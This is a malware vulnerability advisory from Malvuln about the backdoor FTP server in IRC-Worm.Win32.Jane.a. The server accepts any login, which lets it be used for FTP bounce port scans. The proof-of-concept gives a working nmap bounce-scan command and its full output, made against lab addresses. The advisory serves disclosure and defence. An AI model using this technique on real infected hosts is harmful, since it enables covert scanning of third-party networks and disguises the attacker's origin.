IRC-Worm.Win32.Jane.a Authentication Bypass / Man-In-The-Middle

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: IRC-Worm.Win32.Jane.a  
Vulnerability: Authentication Bypass MITM Port Bounce Scan  
Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily identifiable. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware allows anyone to logon using any username password combination.  
Type: PE32  
MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f  
Vuln ID: MVID-2021-0152  
Disclosure: 03/29/2021  
  
Exploit/PoC:  
Telnet to ID the vuln JANE_FTP banner, so we can Port scan discreetly.  
  
nmap -n -Pn -b mal:[email protected] 192.168.88.131 -p21,22,80 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-29 14:20 Pacific Daylight Time  
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).  
Attempting connection to ftp://mal:[email protected]:21  
Connected:220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 14:20  
Discovered open port 80/tcp on 192.168.88.131  
Completed Bounce Scan at 14:20, 2.10s elapsed (3 total ports)  
Nmap scan report for 192.168.88.131  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds  
  
  
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